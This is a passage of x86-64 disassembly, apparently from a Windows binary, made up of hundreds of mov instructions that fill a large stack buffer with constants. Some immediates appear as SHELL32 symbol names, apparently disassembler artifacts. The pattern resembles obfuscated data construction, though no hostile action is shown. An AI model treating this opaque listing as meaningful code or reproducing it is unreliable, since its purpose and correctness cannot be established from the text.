mov qword [rsp + 0x99d0], rax
mov eax, 0x4c2
mov word [rsp + 0x10ac], ax
movabs rax, 0x7026d46880dc8f
mov qword [rsp + 0x99d8], rax
mov byte [rsp + 0x167], 0x6f
mov eax, 0x11f
mov word [rsp + 0x10b0], ax
mov byte [rsp + 0x168], 0x37
mov dword [rsp + 0x4d6c], 0x7b65
mov byte [rsp + 0x169], PathMakeUniqueName
movabs rax, 0x759616a767c6ff
mov qword [rsp + 0x99e0], rax
movabs rax, 0x7d9f96d9692f34
mov qword [rsp + 0x99e8], rax
mov eax, 0x20f
mov word [rsp + 0x10b4], ax
mov byte [rsp + 0x16a], 0x6b
mov byte [rsp + 0x16b], 0x41
mov dword [rsp + 0x4d70], 0x2ed5
mov dword [rsp + 0x4d74], 0x6b73
mov byte [rsp + 0x16c], 0xc1
mov dword [rsp + 0x4d78], 0x7053
mov eax, 0x8e4
mov word [rsp + 0x10b8], ax
movabs rax, 0x779113dd5abd28
mov qword [rsp + 0x99f0], rax
mov dword [rsp + 0x4d7c], 0x2710
movabs rax, 0x72bf78faa1021b
mov qword [rsp + 0x99f8], rax
movabs rax, 0x7bff3d3e28acad
mov qword [rsp + 0x9a00], rax
movabs rax, 0x7d5ae621f047e0
mov qword [rsp + 0x9a08], rax
mov eax, 0x332
mov word [rsp + 0x10bc], ax
mov eax, 0x8b8
mov word [rsp + 0x10c0], ax
mov byte [rsp + 0x16d], 0xfc
mov eax, 0x723
mov word [rsp + 0x10c4], ax
mov byte [rsp + 0x16e], 0xe5
mov dword [rsp + 0x4d80], 0x1ec2
mov dword [rsp + 0x4d84], 0x6a77
movabs rax, 0x79f42c5c1526cb
mov qword [rsp + 0x9a10], rax
mov dword [rsp + 0x4d88], 0x2da7
mov eax, 0x693
mov word [rsp + 0x10c8], ax
mov dword [rsp + 0x4d8c], 0x5ad2
mov eax, 0x37a
mov word [rsp + 0x10cc], ax
mov eax, 0x923
mov word [rsp + 0x10d0], ax
mov byte [rsp + 0x16f], 0x20
mov byte [rsp + 0x170], 0x49
mov byte [rsp + 0x171], 0x25
movabs rax, 0x76444461ef359e
mov qword [rsp + 0x9a18], rax
mov eax, 0x65d
mov word [rsp + 0x10d4], ax
movabs rax, 0x719f0ad8aa5c49
mov qword [rsp + 0x9a20], rax
movabs rax, 0x782c22d9058f5b
mov qword [rsp + 0x9a28], rax
mov eax, 0xf6c
mov word [rsp + 0x10d8], ax
mov dword [rsp + 0x4d90], 0x5fe8
movabs rax, 0x702eec39c5d7f3
mov qword [rsp + 0x9a30], rax
movabs rax, 0x7a2d9b13b9811c
mov qword [rsp + 0x9a38], rax
movabs rax, 0x791519c9c7dd1d
mov qword [rsp + 0x9a40], rax
mov eax, 0x593
mov word [rsp + 0x10dc], ax
movabs rax, 0x74a74001060e91
mov qword [rsp + 0x9a48], rax
mov byte [rsp + 0x172], 0x69
mov dword [rsp + 0x4d94], 0x26f5
mov byte [rsp + 0x173], 0x4f
mov eax, 0x291
mov word [rsp + 0x10e0], ax
mov eax, 0x833
mov word [rsp + 0x10e4], ax
mov eax, 0x69d
mov word [rsp + 0x10e8], ax
mov eax, 0x3b5
mov word [rsp + 0x10ec], ax
mov dword [rsp + 0x4d98], 0x4310
movabs rax, 0x79c07b237d3126
mov qword [rsp + 0x9a50], rax
mov eax, 0xb50
mov word [rsp + 0x10f0], ax
mov eax, 0x11b
mov word [rsp + 0x10f4], ax
movabs rax, 0x7982ed3a7a1a5f
mov qword [rsp + 0x9a58], rax
mov byte [rsp + 0x174], ILAppendID
mov eax, 0x1a7
mov word [rsp + 0x10f8], ax
mov byte [rsp + 0x175], 0x5b
mov dword [rsp + 0x4d9c], 0x164b
mov byte [rsp + 0x176], 0x49
movabs rax, 0x7bd305a3f79037
mov qword [rsp + 0x9a60], rax
movabs rax, 0x7c7d8d4d4aacb8
mov qword [rsp + 0x9a68], rax
mov eax, 0x4fc
mov word [rsp + 0x10fc], ax
mov eax, 0x1e
mov word [rsp + 0x1100], ax
movabs rax, 0x79692369094930
mov qword [rsp + 0x9a70], rax
mov byte [rsp + 0x177], 0xc7
mov dword [rsp + 0x4da0], 0xb2f3
mov dword [rsp + 0x4da4], 0x859e
mov byte [rsp + 0x178], reloc.SHELL32.dll_ILCombine
mov dword [rsp + 0x4da8], 0x5d51
mov byte [rsp + 0x179], 0xfc
mov dword [rsp + 0x4dac], 0xf99c
mov dword [rsp + 0x4db0], 0x179b
movabs rax, 0x78de1c45598d22
mov qword [rsp + 0x9a78], rax
mov eax, 0x206
mov word [rsp + 0x1104], ax
mov byte [rsp + 0x17a], 0x9d
mov byte [rsp + 0x17b], 0x4b
mov eax, 0x481
mov word [rsp + 0x1108], ax
movabs rax, 0x78d515a70ae36a
mov qword [rsp + 0x9a80], rax
mov byte [rsp + 0x17c], 0xf6
mov dword [rsp + 0x4db4], 0x2c23
movabs rax, 0x76f7973aba8209
mov qword [rsp + 0x9a88], rax
movabs rax, 0x7e7418daab6d8e
mov qword [rsp + 0x9a90], rax
movabs rax, 0x7e08ec51bf8744
mov qword [rsp + 0x9a98], rax
mov byte [rsp + 0x17d], 0x76
mov byte [rsp + 0x17e], reloc.SHELL32.dll_ILFindChild
mov byte [rsp + 0x17f], 0xa3
mov byte [rsp + 0x180], 0x7f
mov dword [rsp + 0x4db8], 0x9d50
mov dword [rsp + 0x4dbc], 0x3a0f
movabs rax, 0x79e53b4f8bf4d3
mov qword [rsp + 0x9aa0], rax
mov eax, 0x5e9
mov word [rsp + 0x110c], ax
movabs rax, 0x7481a4091ee2f3
mov qword [rsp + 0x9aa8], rax
mov dword [rsp + 0x4dc0], 0x5c1d
movabs rax, 0x7b21494d875a5f
mov qword [rsp + 0x9ab0], rax
mov byte [rsp + 0x181], 0x61
movabs rax, 0x76bf6e79893740
mov qword [rsp + 0x9ab8], rax
mov byte [rsp + 0x182], 0x8a
mov eax, 0xde1
mov word [rsp + 0x1110], ax
mov byte [rsp + 0x183], 0x26
mov eax, 0xe45
mov word [rsp + 0x1114], ax
mov byte [rsp + 0x184], 0xde
mov dword [rsp + 0x4dc4], 0x42d3
mov dword [rsp + 0x4dc8], 0xa05e
mov dword [rsp + 0x4dcc], 0x2683
mov dword [rsp + 0x4dd0], 0x6ea4
mov eax, reloc.SHELL32.dll_ILClone
mov word [rsp + 0x1118], ax
mov dword [rsp + 0x4dd4], 0xb5c9
movabs rax, 0x7b357b0867e123
mov qword [rsp + 0x9ac0], rax
mov eax, SHDoDragDrop
mov word [rsp + 0x111c], ax
mov eax, 0xfd
mov word [rsp + 0x1120], ax
mov dword [rsp + 0x4dd8], 0xd618
movabs rax, 0x717b114393209e
mov qword [rsp + 0x9ac8], rax
mov byte [rsp + 0x185], 0x46
movabs rax, 0x7c8d055ca13382
mov qword [rsp + 0x9ad0], rax
mov dword [rsp + 0x4ddc], 0x695b
movabs rax, 0x7ae6c3254ecde0
mov qword [rsp + 0x9ad8], rax
mov byte [rsp + 0x186], 0xe8
mov byte [rsp + 0x187], 0x47
mov byte [rsp + 0x188], 0xdf
mov eax, 0xc07
mov word [rsp + 0x1124], ax
mov eax, 0xb22
mov word [rsp + 0x1128], ax
mov dword [rsp + 0x4de0], 0x5c66
movabs rax, 0x70db0fd45e036d
mov qword [rsp + 0x9ae0], rax
mov dword [rsp + 0x4de4], 0x116f
mov eax, 0xe54
mov word [rsp + 0x112c], ax
mov byte [rsp + 0x189], ILRemoveLastID
mov byte [rsp + 0x18a], 0x71
mov eax, 0xe2
mov word [rsp + 0x1130], ax
mov eax, 0x2f8
mov word [rsp + 0x1134], ax
mov eax, 0x858
mov word [rsp + 0x1138], ax
mov byte [rsp + 0x18b], SHDoDragDrop
mov byte [rsp + 0x18c], 0x7a
movabs rax, 0x7cb1737c0b4bd8
mov qword [rsp + 0x9ae8], rax
mov dword [rsp + 0x4de8], 0x6186
mov byte [rsp + 0x18d], 0x64
mov dword [rsp + 0x4dec], 0xa0e0
movabs rax, 0x785871584eca88
mov qword [rsp + 0x9af0], rax
movabs rax, 0x7d717eb5629001
mov qword [rsp + 0x9af8], rax
mov byte [rsp + 0x18e], 0x31
mov eax, 0x1ee
mov word [rsp + 0x113c], ax
mov byte [rsp + 0x18f], 0x31
mov eax, 0x102
mov word [rsp + 0x1140], ax
mov eax, 0x78e
mov word [rsp + 0x1144], ax
mov byte [rsp + 0x190], PathMakeUniqueName
movabs rax, 0x74737921fdd0a0
mov qword [rsp + 0x9b00], rax
mov dword [rsp + 0x4df0], 0xe099
mov eax, 0x5a6
mov word [rsp + 0x1148], ax
movabs rax, 0x704be11aec3c97
mov qword [rsp + 0x9b08], rax
mov eax, 0xe66
mov word [rsp + 0x114c], ax
movabs rax, 0x71e5ef2a45006d
mov qword [rsp + 0x9b10], rax
mov dword [rsp + 0x4df4], 0x6330
mov eax, 0x4c7
mov word [rsp + 0x1150], ax
movabs rax, 0x783ae34aafa140
mov qword [rsp + 0x9b18], rax
mov dword [rsp + 0x4df8], 0xa429
mov dword [rsp + 0x4dfc], 0x2f24
movabs rax, 0x71a68a43e14bd9
mov qword [rsp + 0x9b20], rax
movabs rax, 0x7c95fb25fb5d68
mov qword [rsp + 0x9b28], rax
mov byte [rsp + 0x191], 5
mov dword [rsp + 0x4e00], 0x4d34
mov eax, 0xb1a
mov word [rsp + 0x1154], ax
mov byte [rsp + 0x192], ILAppendID
mov byte [rsp + 0x193], 0x32
movabs rax, 0x78198badb72f65
mov qword [rsp + 0x9b30], rax
movabs rax, 0x707b9dc77c6c24
mov qword [rsp + 0x9b38], rax
movabs rax, 0x7a82294d629889
mov qword [rsp + 0x9b40], rax
mov dword [rsp + 0x4e04], 0xdb43
mov byte [rsp + 0x194], 0x27
mov byte [rsp + 0x195], 0x50
mov dword [rsp + 0x4e08], 0x292d
mov eax, 0x451
mov word [rsp + 0x1158], ax
mov dword [rsp + 0x4e0c], 0x400d
mov byte [rsp + 0x196], 0xf6
movabs rax, 0x7d948f6bd220c3
mov qword [rsp + 0x9b48], rax
mov dword [rsp + 0x4e10], 0x6112
movabs rax, 0x75f76f70f0912b
mov qword [rsp + 0x9b50], rax
mov eax, 0x752
mov word [rsp + 0x115c], ax
mov eax, 0x189
mov word [rsp + 0x1160], ax
movabs rax, 0x78d8dcbf8813dc
mov qword [rsp + 0x9b58], rax
mov dword [rsp + 0x4e14], 0xf4c0
mov eax, 0x109
mov word [rsp + 0x1164], ax
movabs rax, 0x773273655577f3
mov qword [rsp + 0x9b60], rax
mov byte [rsp + 0x197], SHSetInstanceExplorer
movabs rax, 0x7dfc298686784b
mov qword [rsp + 0x9b68], rax
movabs rax, 0x7347e8111fc902
mov qword [rsp + 0x9b70], rax
mov byte [rsp + 0x198], SHSetInstanceExplorer
mov dword [rsp + 0x4e18], 0x32cf
mov eax, 0x86a
mov word [rsp + 0x1168], ax
mov byte [rsp + 0x199], 0xdd
mov byte [rsp + 0x19a], 0x4a
mov byte [rsp + 0x19b], SHSetInstanceExplorer
mov eax, 0x181
mov word [rsp + 0x116c], ax
movabs rax, 0x72a9542075c1ff
mov qword [rsp + 0x9b78], rax
movabs rax, 0x7c6a4cbdb9e0e4
mov qword [rsp + 0x9b80], rax
mov dword [rsp + 0x4e1c], 0x64f8
mov eax, 0x17c
mov word [rsp + 0x1170], ax
mov eax, 0x4ce
mov word [rsp + 0x1174], ax
mov eax, 0xcac
mov word [rsp + 0x1178], ax
movabs rax, 0x74d7733b2f75b7
mov qword [rsp + 0x9b88], rax
mov byte [rsp + 0x19c], 0xe1
mov eax, 0x71a
mov word [rsp + 0x117c], ax
mov eax, 0x6c7
mov word [rsp + 0x1180], ax
movabs rax, 0x7a32d2c9697328
mov qword [rsp + 0x9b90], rax
mov eax, 0x7d6
mov word [rsp + 0x1184], ax
mov dword [rsp + 0x4e20], 0x763b
movabs rax, 0x737ebc8a4451b7
mov qword [rsp + 0x9b98], rax
mov dword [rsp + 0x4e24], 0x9588
mov eax, 0xf2e
mov word [rsp + 0x1188], ax
mov byte [rsp + 0x19d], 0xa
movabs rax, 0x714dc6ce93f34a
mov qword [rsp + 0x9ba0], rax
mov dword [rsp + 0x4e28], 0x5f60
mov dword [rsp + 0x4e2c], 0xa8a0
mov dword [rsp + 0x4e30], 0x1a4f
movabs rax, 0x7a8e9ec42ff86e
mov qword [rsp + 0x9ba8], rax
movabs rax, 0x71df6555c351bb
mov qword [rsp + 0x9bb0], rax
mov eax, 0x48d
mov word [rsp + 0x118c], ax
mov byte [rsp + 0x19e], 0x9e
mov dword [rsp + 0x4e34], 0xe1bf
mov dword [rsp + 0x4e38], 0x7d4b
mov eax, 0x2df
mov word [rsp + 0x1190], ax
mov byte [rsp + 0x19f], SHDoDragDrop
mov byte [rsp + 0x1a0], 0x5d
mov byte [rsp + 0x1a1], 0xdc
mov dword [rsp + 0x4e3c], 0x15b0
mov eax, 0x8fe
mov word [rsp + 0x1194], ax
movabs rax, 0x79c9c9e52c4ef0
mov qword [rsp + 0x9bb8], rax
mov dword [rsp + 0x4e40], 0x5ecc
mov byte [rsp + 0x1a2], 0x4c
movabs rax, 0x7076a060da9cf1
mov qword [rsp + 0x9bc0], rax
mov byte [rsp + 0x1a3], 0x1c
mov dword [rsp + 0x4e44], 0xc722
movabs rax, 0x7de99943b8cd41
mov qword [rsp + 0x9bc8], rax
mov eax, 0x4a3
mov word [rsp + 0x1198], ax
mov dword [rsp + 0x4e48], 0x3b2e
mov dword [rsp + 0x4e4c], 0x1bf8
mov eax, 0x7ce
mov word [rsp + 0x119c], ax
movabs rax, 0x756f8c0466d7d1
mov qword [rsp + 0x9bd0], rax
mov byte [rsp + 0x1a4], 0x59
mov eax, 0xc15
mov word [rsp + 0x11a0], ax
movabs rax, 0x7eddbbbba125e7
mov qword [rsp + 0x9bd8], rax
mov dword [rsp + 0x4e50], 0x1299
mov eax, 0x201
mov word [rsp + 0x11a4], ax
movabs rax, 0x78eeb94cf35fd3
mov qword [rsp + 0x9be0], rax
mov byte [rsp + 0x1a5], 0xd2
movabs rax, 0x7b723b0a17ef3f
mov qword [rsp + 0x9be8], rax
mov dword [rsp + 0x4e54], 0xfe24
movabs rax, 0x79fece15f52fe3
mov qword [rsp + 0x9bf0], rax
mov eax, 0x132
mov word [rsp + 0x11a8], ax
mov eax, 0x3ab
mov word [rsp + 0x11ac], ax
movabs rax, 0x76a316194ecd1a
mov qword [rsp + 0x9bf8], rax
mov eax, 0x1ea
mov word [rsp + 0x11b0], ax
mov eax, 0x128
mov word [rsp + 0x11b4], ax
mov byte [rsp + 0x1a6], SHDoDragDrop
movabs rax, 0x7a96ea00cfebaa
mov qword [rsp + 0x9c00], rax
mov eax, 0x5cd
mov word [rsp + 0x11b8], ax
movabs rax, 0x7797ca836f46ed
mov qword [rsp + 0x9c08], rax
movabs rax, 0x7bd825d4f3d07c
mov qword [rsp + 0x9c10], rax
mov byte [rsp + 0x1a7], 0x4d
mov eax, 0x409
mov word [rsp + 0x11bc], ax
mov dword [rsp + 0x4e58], 0x2463
mov dword [rsp + 0x4e5c], 0x68a
mov byte [rsp + 0x1a8], ILIsParent
mov eax, 0x3f3
mov word [rsp + 0x11c0], ax
mov eax, 0x5da
mov word [rsp + 0x11c4], ax
mov dword [rsp + 0x4e60], 0x26a7
mov eax, 0x26b
mov word [rsp + 0x11c8], ax
movabs rax, 0x7754ad748d47e1
mov qword [rsp + 0x9c18], rax
mov eax, 0x66c
mov word [rsp + 0x11cc], ax
movabs rax, 0x7d86cbcd657dbc
mov qword [rsp + 0x9c20], rax
mov byte [rsp + 0x1a9], 0x42
mov byte [rsp + 0x1aa], 0x79
mov eax, 0x3a7
mov word [rsp + 0x11d0], ax
mov eax, 0x55b
mov word [rsp + 0x11d4], ax
mov eax, 0xe2a
mov word [rsp + 0x11d8], ax
movabs rax, 0x75498ba0f651eb
mov qword [rsp + 0x9c28], rax
mov dword [rsp + 0x4e64], 0x42c9
movabs rax, 0x764d4fe771e8e3
mov qword [rsp + 0x9c30], rax
movabs rax, 0x757a912909eeeb
mov qword [rsp + 0x9c38], rax
movabs rax, 0x737fa9f76f450e
mov qword [rsp + 0x9c40], rax
mov eax, 0xe7f
mov word [rsp + 0x11dc], ax
mov dword [rsp + 0x4e68], 0x519e
movabs rax, 0x77c5c71688ac67
mov qword [rsp + 0x9c48], rax
mov byte [rsp + 0x1ab], 0x84
movabs rax, 0x761ee810b2af02
mov qword [rsp + 0x9c50], rax
movabs rax, 0x7c2e3fb45e303a
mov qword [rsp + 0x9c58], rax
mov eax, 0x522
mov word [rsp + 0x11e0], ax
movabs rax, 0x7ead3fcd3a1fee
mov qword [rsp + 0x9c60], rax
mov eax, 0x856
mov word [rsp + 0x11e4], ax
movabs rax, 0x70f69ac6ee08ca
mov qword [rsp + 0x9c68], rax
movabs rax, 0x7679381b832bb4
mov qword [rsp + 0x9c70], rax
mov byte [rsp + 0x1ac], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x4e6c], 0x716f
movabs rax, 0x73dcc737d4495a
mov qword [rsp + 0x9c78], rax
mov eax, 0x7d3
mov word [rsp + 0x11e8], ax
mov dword [rsp + 0x4e70], 0x548f
movabs rax, 0x7e5acd3f90889c
mov qword [rsp + 0x9c80], rax
movabs rax, 0x7531c0b4b7e5aa
mov qword [rsp + 0x9c88], rax
mov eax, 0x343
mov word [rsp + 0x11ec], ax
movabs rax, 0x799de43f2e7bc9
mov qword [rsp + 0x9c90], rax
movabs rax, 0x792ee8aab60e9e
mov qword [rsp + 0x9c98], rax
mov eax, 0x2da
mov word [rsp + 0x11f0], ax
movabs rax, 0x7b8bacec6f97e9
mov qword [rsp + 0x9ca0], rax
mov dword [rsp + 0x4e74], 0x757e
movabs rax, 0x7dd10d579f86fd
mov qword [rsp + 0x9ca8], rax
mov byte [rsp + 0x1ad], PathMakeUniqueName
movabs rax, 0x748095541e6a2f
mov qword [rsp + 0x9cb0], rax
mov dword [rsp + 0x4e78], 0xfd42
movabs rax, 0x74b68e1c83cd86
mov qword [rsp + 0x9cb8], rax
mov dword [rsp + 0x4e7c], 0x4279
movabs rax, 0x739cedd7c25728
mov qword [rsp + 0x9cc0], rax
movabs rax, 0x7a313795d4ef61
mov qword [rsp + 0x9cc8], rax
mov dword [rsp + 0x4e80], 0x3c92
movabs rax, 0x76e5771bbddd5b
mov qword [rsp + 0x9cd0], rax
movabs rax, 0x75e93ea13eb39f
mov qword [rsp + 0x9cd8], rax
mov dword [rsp + 0x4e84], 0xa412
mov dword [rsp + 0x4e88], 0xefe4
movabs rax, 0x75d2750d022fca
mov qword [rsp + 0x9ce0], rax
mov dword [rsp + 0x4e8c], 0x7909
movabs rax, 0x7d93d2557bbd63
mov qword [rsp + 0x9ce8], rax
mov byte [rsp + 0x1ae], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x738f709bd33bd0
mov qword [rsp + 0x9cf0], rax
mov byte [rsp + 0x1af], 0x5b
mov dword [rsp + 0x4e90], 0x5d11
mov eax, 0x34d
mov word [rsp + 0x11f4], ax
mov eax, 0x4e
mov word [rsp + 0x11f8], ax
movabs rax, 0x7b031288761237
mov qword [rsp + 0x9cf8], rax
mov eax, 0x7b1
mov word [rsp + 0x11fc], ax
mov eax, 0x4f8
mov word [rsp + 0x1200], ax
mov dword [rsp + 0x4e94], 0x708a
mov eax, 0x212
mov word [rsp + 0x1204], ax
mov eax, 0x3e7
mov word [rsp + 0x1208], ax
mov byte [rsp + 0x1b0], PathMakeUniqueName
mov eax, 0x9c3
mov word [rsp + 0x120c], ax
movabs rax, 0x76ba26440e376b
mov qword [rsp + 0x9d00], rax
movabs rax, 0x7660a5c7212c83
mov qword [rsp + 0x9d08], rax
mov byte [rsp + 0x1b1], 0xdc
movabs rax, 0x757a36428e0b1d
mov qword [rsp + 0x9d10], rax
mov eax, 0x2f3
mov word [rsp + 0x1210], ax
mov dword [rsp + 0x4e98], 0x55c3
movabs rax, 0x7352bb7fce58a3
mov qword [rsp + 0x9d18], rax
movabs rax, 0x72faa0c20a2ffd
mov qword [rsp + 0x9d20], rax
mov byte [rsp + 0x1b2], 0x23
movabs rax, 0x74565858a6d34a
mov qword [rsp + 0x9d28], rax
mov dword [rsp + 0x4e9c], 0x9d71
mov eax, 0x29f
mov word [rsp + 0x1214], ax
movabs rax, 0x7bdbda559e272d
mov qword [rsp + 0x9d30], rax
movabs rax, 0x795dac0a52fd89
mov qword [rsp + 0x9d38], rax
movabs rax, 0x77a39b0e387631
mov qword [rsp + 0x9d40], rax
mov byte [rsp + 0x1b3], 0x5f
mov byte [rsp + 0x1b4], ILRemoveLastID
mov byte [rsp + 0x1b5], 0x49
mov dword [rsp + 0x4ea0], 0x1220
mov byte [rsp + 0x1b6], 0x63
mov eax, 0x407
mov word [rsp + 0x1218], ax
mov byte [rsp + 0x1b7], 4
movabs rax, 0x7b21ee39e875b3
mov qword [rsp + 0x9d48], rax
mov eax, 0x1ee
mov word [rsp + 0x121c], ax
mov dword [rsp + 0x4ea4], 0x6148
movabs rax, 0x757849211071c5
mov qword [rsp + 0x9d50], rax
movabs rax, 0x799cb81a29bd45
mov qword [rsp + 0x9d58], rax
mov byte [rsp + 0x1b8], 0x3e
mov dword [rsp + 0x4ea8], 0x13fc
movabs rax, 0x75fa069f986264
mov qword [rsp + 0x9d60], rax
mov eax, 0xa27
mov word [rsp + 0x1220], ax
mov byte [rsp + 0x1b9], 0xa0
movabs rax, 0x77090fd1965e1c
mov qword [rsp + 0x9d68], rax
mov dword [rsp + 0x4eac], 0x6710
mov byte [rsp + 0x1ba], 0x75
mov byte [rsp + 0x1bb], 0x69
mov dword [rsp + 0x4eb0], 0x6b8
mov eax, 0x2e9
mov word [rsp + 0x1224], ax
mov eax, 0x678
mov word [rsp + 0x1228], ax
mov dword [rsp + 0x4eb4], 0xeedd
mov byte [rsp + 0x1bc], 0x26
mov byte [rsp + 0x1bd], 0x76
movabs rax, 0x74ce9374af43ad
mov qword [rsp + 0x9d70], rax
mov eax, 0x186
mov word [rsp + 0x122c], ax
movabs rax, 0x781714fd41c1af
mov qword [rsp + 0x9d78], rax
movabs rax, 0x754a93b2b4c9ad
mov qword [rsp + 0x9d80], rax
mov eax, 0x66f
mov word [rsp + 0x1230], ax
mov dword [rsp + 0x4eb8], 0xd45
mov eax, 0x7dc
mov word [rsp + 0x1234], ax
mov dword [rsp + 0x4ebc], 0x345d
mov dword [rsp + 0x4ec0], 0x937c
mov eax, 0xc80
mov word [rsp + 0x1238], ax
mov byte [rsp + 0x1be], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x78ab9374127d24
mov qword [rsp + 0x9d88], rax
movabs rax, 0x7cdc660641b855
mov qword [rsp + 0x9d90], rax
mov dword [rsp + 0x4ec4], 0x5fa7
mov dword [rsp + 0x4ec8], 0x105a
movabs rax, 0x7ecaf2e5c344eb
mov qword [rsp + 0x9d98], rax
movabs rax, 0x7b96f6a44b4a5f
mov qword [rsp + 0x9da0], rax
mov byte [rsp + 0x1bf], 0x7a
mov eax, ILSaveToStream
mov word [rsp + 0x123c], ax
mov byte [rsp + 0x1c0], SHTestTokenMembership
movabs rax, 0x70b6c41584c6ed
mov qword [rsp + 0x9da8], rax
movabs rax, 0x71aea7722fa6fc
mov qword [rsp + 0x9db0], rax
mov eax, 0x5b6
mov word [rsp + 0x1240], ax
mov dword [rsp + 0x4ecc], 0x203e
mov dword [rsp + 0x4ed0], 0x8580
mov dword [rsp + 0x4ed4], 0x243a
movabs rax, 0x7e6fc9b43f8db3
mov qword [rsp + 0x9db8], rax
mov eax, 0xd9f
mov word [rsp + 0x1244], ax
mov dword [rsp + 0x4ed8], 0x976b
mov dword [rsp + 0x4edc], 0x4444
mov byte [rsp + 0x1c1], 0x25
mov eax, 0xf2b
mov word [rsp + 0x1248], ax
movabs rax, 0x708778bca192b2
mov qword [rsp + 0x9dc0], rax
mov dword [rsp + 0x4ee0], 0xb0ca
mov byte [rsp + 0x1c2], 0xed
movabs rax, 0x7e4e7493348b43
mov qword [rsp + 0x9dc8], rax
mov byte [rsp + 0x1c3], PathMakeUniqueName
movabs rax, 0x773147f8618b0c
mov qword [rsp + 0x9dd0], rax
mov byte [rsp + 0x1c4], 0x4d
mov byte [rsp + 0x1c5], SHDoDragDrop
mov byte [rsp + 0x1c6], ILCreateFromPathW
mov eax, 0x625
mov word [rsp + 0x124c], ax
mov eax, 0x3ee
mov word [rsp + 0x1250], ax
mov byte [rsp + 0x1c7], 0x3c
movabs rax, 0x7e8f4e418f7426
mov qword [rsp + 0x9dd8], rax
movabs rax, 0x72168a6e4512ba
mov qword [rsp + 0x9de0], rax
mov dword [rsp + 0x4ee4], 0x718a
mov dword [rsp + 0x4ee8], 0x708
movabs rax, 0x7cb9ed84b7a20f
mov qword [rsp + 0x9de8], rax
mov dword [rsp + 0x4eec], 0x7967
mov dword [rsp + 0x4ef0], 0xeb6e
movabs rax, 0x7188472ab3065f
mov qword [rsp + 0x9df0], rax
mov dword [rsp + 0x4ef4], 0x7965
movabs rax, 0x7cb30859ae68fc
mov qword [rsp + 0x9df8], rax
mov dword [rsp + 0x4ef8], 0xa076
mov byte [rsp + 0x1c8], ILCreateFromPathW
mov dword [rsp + 0x4efc], 0x4dd3
mov dword [rsp + 0x4f00], 0x77fa
mov byte [rsp + 0x1c9], 0x22
mov eax, 0x2b0
mov word [rsp + 0x1254], ax
mov eax, 0x4d3
mov word [rsp + 0x1258], ax
movabs rax, 0x7c008101d30a73
mov qword [rsp + 0x9e00], rax
mov dword [rsp + 0x4f04], 0x203a
movabs rax, 0x75941fa2d2f151
mov qword [rsp + 0x9e08], rax
movabs rax, 0x711949e1a10bd6
mov qword [rsp + 0x9e10], rax
mov dword [rsp + 0x4f08], 0x328f
mov eax, 0x3e1
mov word [rsp + 0x125c], ax
mov dword [rsp + 0x4f0c], 0x75b7
movabs rax, 0x7d782b963bee53
mov qword [rsp + 0x9e18], rax
movabs rax, 0x78afe48ca14eef
mov qword [rsp + 0x9e20], rax
mov byte [rsp + 0x1ca], 0x78
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x1260], ax
movabs rax, 0x7b1bf645ad4a85
mov qword [rsp + 0x9e28], rax
mov dword [rsp + 0x4f10], 0xa8d1
mov dword [rsp + 0x4f14], 0x4bd
movabs rax, 0x7411decfa54137
mov qword [rsp + 0x9e30], rax
mov dword [rsp + 0x4f18], 0x7549
mov eax, 0x2d0
mov word [rsp + 0x1264], ax
mov dword [rsp + 0x4f1c], 0x6e9b
mov byte [rsp + 0x1cb], 0x5d
movabs rax, 0x726fb503a99fff
mov qword [rsp + 0x9e38], rax
movabs rax, 0x7591213c1c16f5
mov qword [rsp + 0x9e40], rax
mov eax, 0xb12
mov word [rsp + 0x1268], ax
mov dword [rsp + 0x4f20], 0x17a0
mov eax, 0x2ac
mov word [rsp + 0x126c], ax
movabs rax, 0x7a5aac7e7371f4
mov qword [rsp + 0x9e48], rax
mov dword [rsp + 0x4f24], 0x7ae1
mov dword [rsp + 0x4f28], 0x1d95
mov dword [rsp + 0x4f2c], 0xcd38
mov dword [rsp + 0x4f30], 0x66ab
mov byte [rsp + 0x1cc], ILCreateFromPathW
mov eax, 0xad6
mov word [rsp + 0x1270], ax
movabs rax, 0x7754809755f3fc
mov qword [rsp + 0x9e50], rax
mov byte [rsp + 0x1cd], 0x3d
movabs rax, 0x7af8a6a3390760
mov qword [rsp + 0x9e58], rax
mov eax, 0xa32
mov word [rsp + 0x1274], ax
mov dword [rsp + 0x4f34], 0x6c50
mov eax, 0x38b
mov word [rsp + 0x1278], ax
mov eax, 0x6cf
mov word [rsp + 0x127c], ax
mov dword [rsp + 0x4f38], 0x389a
mov dword [rsp + 0x4f3c], 0x5e16
mov eax, 0xbdb
mov word [rsp + 0x1280], ax
mov dword [rsp + 0x4f40], 0xd540
mov byte [rsp + 0x1ce], 0x21
mov byte [rsp + 0x1cf], 0x4b
movabs rax, 0x70b9f392b0ee62
mov qword [rsp + 0x9e60], rax
movabs rax, 0x71ab1036a1dee2
mov qword [rsp + 0x9e68], rax
mov byte [rsp + 0x1d0], 0x38
mov dword [rsp + 0x4f44], 0x2ab6
movabs rax, 0x79a8a5b4c99faa
mov qword [rsp + 0x9e70], rax
mov dword [rsp + 0x4f48], 0x3913
mov eax, 0x492
mov word [rsp + 0x1284], ax
mov byte [rsp + 0x1d1], SHDoDragDrop
movabs rax, 0x7931ad9eaf5f32
mov qword [rsp + 0x9e78], rax
mov byte [rsp + 0x1d2], 0xe6
mov eax, 0x8f6
mov word [rsp + 0x1288], ax
mov dword [rsp + 0x4f4c], 0x45e2
mov eax, 0x188
mov word [rsp + 0x128c], ax
mov dword [rsp + 0x4f50], 0x5bce
mov dword [rsp + 0x4f54], 0x49bc
mov eax, 0x7c9
mov word [rsp + 0x1290], ax
mov eax, ILIsParent
mov word [rsp + 0x1294], ax
movabs rax, 0x7a069e1a41ae56
mov qword [rsp + 0x9e80], rax
movabs rax, 0x7e760cf2573297
mov qword [rsp + 0x9e88], rax
mov dword [rsp + 0x4f58], 0x71cc
movabs rax, 0x7288be3439eaea
mov qword [rsp + 0x9e90], rax
mov dword [rsp + 0x4f5c], 0x69b3
movabs rax, 0x7b0854539a648f
mov qword [rsp + 0x9e98], rax
movabs rax, 0x7ec713d8c5b845
mov qword [rsp + 0x9ea0], rax
mov dword [rsp + 0x4f60], 0x33
mov dword [rsp + 0x4f64], 0x272f
mov byte [rsp + 0x1d3], 0xcd
mov dword [rsp + 0x4f68], 0x61d0
movabs rax, 0x71258df13f79af
mov qword [rsp + 0x9ea8], rax
mov byte [rsp + 0x1d4], reloc.SHELL32.dll_ILRemoveLastID
